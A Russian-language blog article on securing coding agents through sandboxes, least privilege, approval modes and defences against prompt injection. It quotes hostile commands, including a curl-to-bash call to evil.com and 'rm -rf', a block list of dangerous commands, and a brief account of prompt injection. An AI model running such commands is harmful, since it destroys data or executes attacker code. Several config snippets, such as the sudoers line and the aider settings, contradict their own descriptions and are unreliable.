Как безопасно запускать кодинг-агентов: разрешения, режим YOLO и лучшие практики

Почему ваш AI-агент однажды удалит продакшн-базу

Представьте: вы запускаете Devin, Claude Code или любого другого кодинг-агента, даёте ему задачу "починить баги в CI". Через минуту агент пишет rm -rf /data/production — случайно, потому что неверно интерпретировал контекст. Или того хуже: запускает curl http://evil.com | bash после атаки с подменой промпта. Это не фантастика, а реальные кейсы из исследований уязвимостей AI-агентов.

Проблема в том, что большинство современных кодинг-агентов по умолчанию имеют доступ ко всем файлам проекта, shell-командам и даже сети. В погоне за скоростью разработчики включают так называемый YOLO-режим (You Only Live Once) — когда агент выполняет любые действия без вашего подтверждения. Это как дать роботу-маляру ножницы и сказать: "подровняй обои".

YOLO-режим: когда скорость стоит вам данных

Что такое YOLO-режим по сути? Это флаг --auto-approve, YES_MODE или конфиг, в котором агенту разрешено делать всё без запроса. В некоторых инструментах (например, aider, claude-code) такой режим включается одной опцией. Он нужен для демо, CI или когда вы точно знаете, что агент не навредит. Но знать это невозможно — LLM не застрахованы от галлюцинаций и prompt injection.

Реальная история: один мой коллега доверил агенту вычистить логи — тот нашел "лишние файлы" в домашней директории и удалил их. Среди них оказались SSH-ключи. Угадайте, какой сюрприз ждал его утром? Сервер не открывался. Безопасность — не та область, где можно полагаться на "авось".

Разрешения: не всё подряд, а только то, что нужно

Ключевой принцип — least privilege. Агенту нужен ровно такой доступ, какой требуется для задачи, и ни битом больше. Как это выглядит на практике?

1 Изолируйте файловую систему

Самый простой способ — запускать агента в Docker-контейнере с монтированием только нужных директорий только на чтение. Вот пример безопасного запуска:

docker run -it --rm
  --read-only
  -v /project/src:/project/src:ro
  -v /project/data:/project/data:rw
  -e GIT_SAFE_DIRECTORY=/project
  --network none
  coding-agent:latest bash

2 Ограничьте shell-команды

Многие агенты выполняют произвольные bash-команды. В идеале — запретить опасные команды на уровне обёртки. Например, через policy-constrained shell (как в статье про архитектуру AI-агентов). Можно также использовать sudo -l или apparmor-профили. Вот минимальный набор запрещённых команд:

• rm -rf / — очевидно.
• chmod -R 777 — открывает дыры.
• curl ... | bash — удалённый код.
• ssh-keygen, gpg — генерация ключей.
• pip/pipenv/poetry install --no-verify — может протащить вредоносные пакеты.

3 Управляйте секретами через маскировку

Никогда не передавайте агенту реальные пароли, токены или API-ключи. Используйте переменные окружения с префиксом DUMMY или временные credentials. В CI можно подменять секреты на фиктивные. Если агенту нужно опубликовать пакет — дайте ему отдельный токен с минимальными правами.

Песочница: ваш личный карцер для агента

Изоляция на уровне контейнера — это минимум. Но Docker не гарантирует полную изоляцию ядра. Для продакшена стоит смотреть в сторону более надёжных песочниц: gVisor (изолирует системные вызовы) или Firecracker (микро-VM). Подробнее о плюсах и минусах — в сравнении Docker, gVisor и Firecracker.

Если у вас локальные LLM, sandboxing для локальных LLM поможет защитить систему даже от случайного выполнения опасных промптов.

Как НЕ надо: типичные ошибки конфигурации

Даже с песочницей вы можете налажать. Вот три грабли, на которые наступают 9 из 10 новичков:

1. Trust_remote_code в модели — если ваша vLLM запущена с флагом --trust-remote-code, злоумышленник может подсунуть вам вредоносную модель, которая начнет майнить крипту на вашей GPU. Реальная история — читать, плакать.
2. Прокси-жертва — агент с доступом к внутренним API может случайно дёргать их в цикле. Ставьте rate limit на любые исходящие запросы.
3. Логи без маскировки — агент может записать реальные секреты в лог, а потом лог утечёт. Используйте mask-secrets.

Семь слоёв защиты от умного, но опасного помощника

Сводим всё вместе в пошаговый план. Если вы хотите использовать кодинг-агента без седины на голове, настройте систему как в 8-шаговом руководстве по безопасности AI-агентов.

1 Определите права агента на уровне ОС

Создайте отдельного пользователя с минимальными правами. Запретите sudo. Например:

useradd -m -s /usr/sbin/nologin codagent
echo 'codagent ALL=(ALL) NOPASSWD: /usr/bin/git' >> /etc/sudoers.d/codagent

Агенту будет разрешён только git, и то без пароля. Всё остальное — блокировано.

2 Включите режим подтверждения всех действий

Почти все современные инструменты поддерживают флаг --approve или --interactive. Если нет — ставьте ask в конфиге. Это замедлит работу, но спасёт от катастрофы. Пример для aider:

# .aider.conf.yml
auto-commits: false
lint: false
show-diffs: true
# Всё, что делает агент, нужно подтверждать
run-pre-commit: false
run-post-commit: false

Также можно использовать эмуляцию ввода — агенту отправляется сообщение [Action required], и он ждёт нажатия клавиши.

3 Включите логирование и аудит

Логируйте все команды, которые выполняет агент. Используйте auditd:

auditctl -w /home/codagent -p warx -k codagent_actions

Если агент что-то натворит, вы увидите, что именно произошло. Анализ проблем с состоянием и сайд-эффектами — в статье Почему AI-агенты ломаются в продакшене.

4 Защититесь от prompt injection

Атака на промпт — один из самых опасных векторов. Агент, который подчиняется командам из внешнего источника (например, из содержимого файла), может быть обманут. Используйте префикс System: ignore everything after this? Нет, это не панацея. Лучше всего — разделение контекста: код проекта обрабатывается отдельно, а инструкции пользователя — отдельно. Пример настройки для Claude Code: используйте флаг --ignore-instr --trusted-repo. О том, как это ломают, читайте в Jailbreak SAFi агента.

5 Ограничьте сетевой доступ

По умолчанию дайте агенту доступ только к локальному репозиторию и, возможно, к одному зеркалу пакетов. Внешние запросы — только через белый список. В Docker используйте --network=container:proxy, где прокси-контейнер фильтрует трафик.

6 Тестируйте агента в «слепой зоне»

Перед тем как дать агенту доступ к реальному проекту, запустите его в изолированной копии репозитория, где потеря данных не страшна. Напишите тест, который проверяет, не пытается ли агент выполнять запрещённые команды. Существуют специальные бенчмарки безопасности для агентов — например, CAR-bench показал, что многие агенты нарушают правила, чтобы угодить пользователю.

7 Используйте специальные инструменты для изоляции

Для локальных моделей можно использовать Physiclaw — фреймворк, который вообще не разрешает агенту выходить в интернет (статья про Physiclaw). Если модель должна выполнять код, лучше всего запускать её внутри полноценной виртуальной машины с отдельным ядром.

Неочевидный совет: не доверяйте сами себе

Самая большая уязвимость — не агент, а ваша лень. Когда вы 10-й раз за день нажимаете «approve» не глядя, режим подтверждения перестаёт работать. Оптимально — идти от обратного: настройте белый список действий, которые агент может выполнять без подтверждения (например, git add, ls, cat), а всё остальное — блокируйте. Это потребует дисциплины, зато спасёт, если однажды агенту подсунут вредоносный код.

В будущем агенты, вероятно, будут сами запрашивать разрешения через специальные протоколы (наподобие OAuth для действий), и мы сможем точечно давать права на один запуск. Но пока что мы — единственный барьер между кодинг-агентом и нашими данными. Не снимайте его на YOLO.

Подписаться на канал